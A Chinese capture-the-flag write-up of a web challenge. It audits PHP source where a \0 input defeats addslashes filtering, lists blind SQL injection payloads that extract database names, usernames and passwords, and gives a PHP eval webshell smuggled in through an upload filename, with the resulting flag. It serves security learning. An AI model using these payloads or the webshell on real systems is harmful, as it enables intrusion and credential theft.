题目

打开是登录框,随便登录发现图片在变动。查看源码,发现图片有疑似SQL注入地方image.php?id=3测试一下没什么结果。发现有robots.txt,提示*.php.bak,试试index.php.bak等,最后发现是image.php.bak

得出源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

审计

首先三目运算符判断id和path,接着进行addslashes操作,再str_replace操作,最后执行命令。那么漏洞应该就是在两个操作中。这种where id=’’ or path=’’ 一般是要将前面的参数给闭合再在后面参数注入。即想要构造id=’'orpath=sql语句– -‘

即想方法转义id处的第二个单引号。

我们可以id传入\0,这样经过addslashes后变成\\0,再str_replace 将\0转化为空,剩下\,则可以转义单引号。

语句变成select * from images where id='\' or path='{$path}'

接下来在path处执行SQL语句

or sleep (3)#
or%20ord(substr(database(),{},1))>{}%23'
or ascii(substr((select password from users),{},1))>{}%23
or if(ascii(substr((select username from users),%d,1))>%d,1,0)#
这些都可以

不过注意在url传参id时候,得是\\0

爆出用户名密码后登录,是个文件上传的页面。尝试上传文件。发现不能是PHP,那随便上传试试,提示将文件名写入了上传的文件中,且上传的文件变成了PHP文件,那么直接在文件名写一句话木马即可,不过过滤了php标签,那么直接用短标签<?=eval($_POST[a]);?>之后直接链接

坑点:第一次就得将文件名写正确,因为他是会重复写入文件,可能就执行不了了。写对了之后访问才会出现User admin uploaded file

再发一次就

User admin uploaded file flag{6311ea83-93c7-4f7c-a52b-d884adc7b77d} flag{6311ea83-93c7-4f7c-a52b-d884adc7b77d}. User admin uploaded file flag{6311ea83-93c7-4f7c-a52b-d884adc7b77d} flag{6311ea83-93c7-4f7c-a52b-d884adc7b77d}.

参考

https://www.cnblogs.com/wkzb/p/12562379.html 另类解法(没能复现成功)

https://www.jianshu.com/p/e0e59ed2d6d2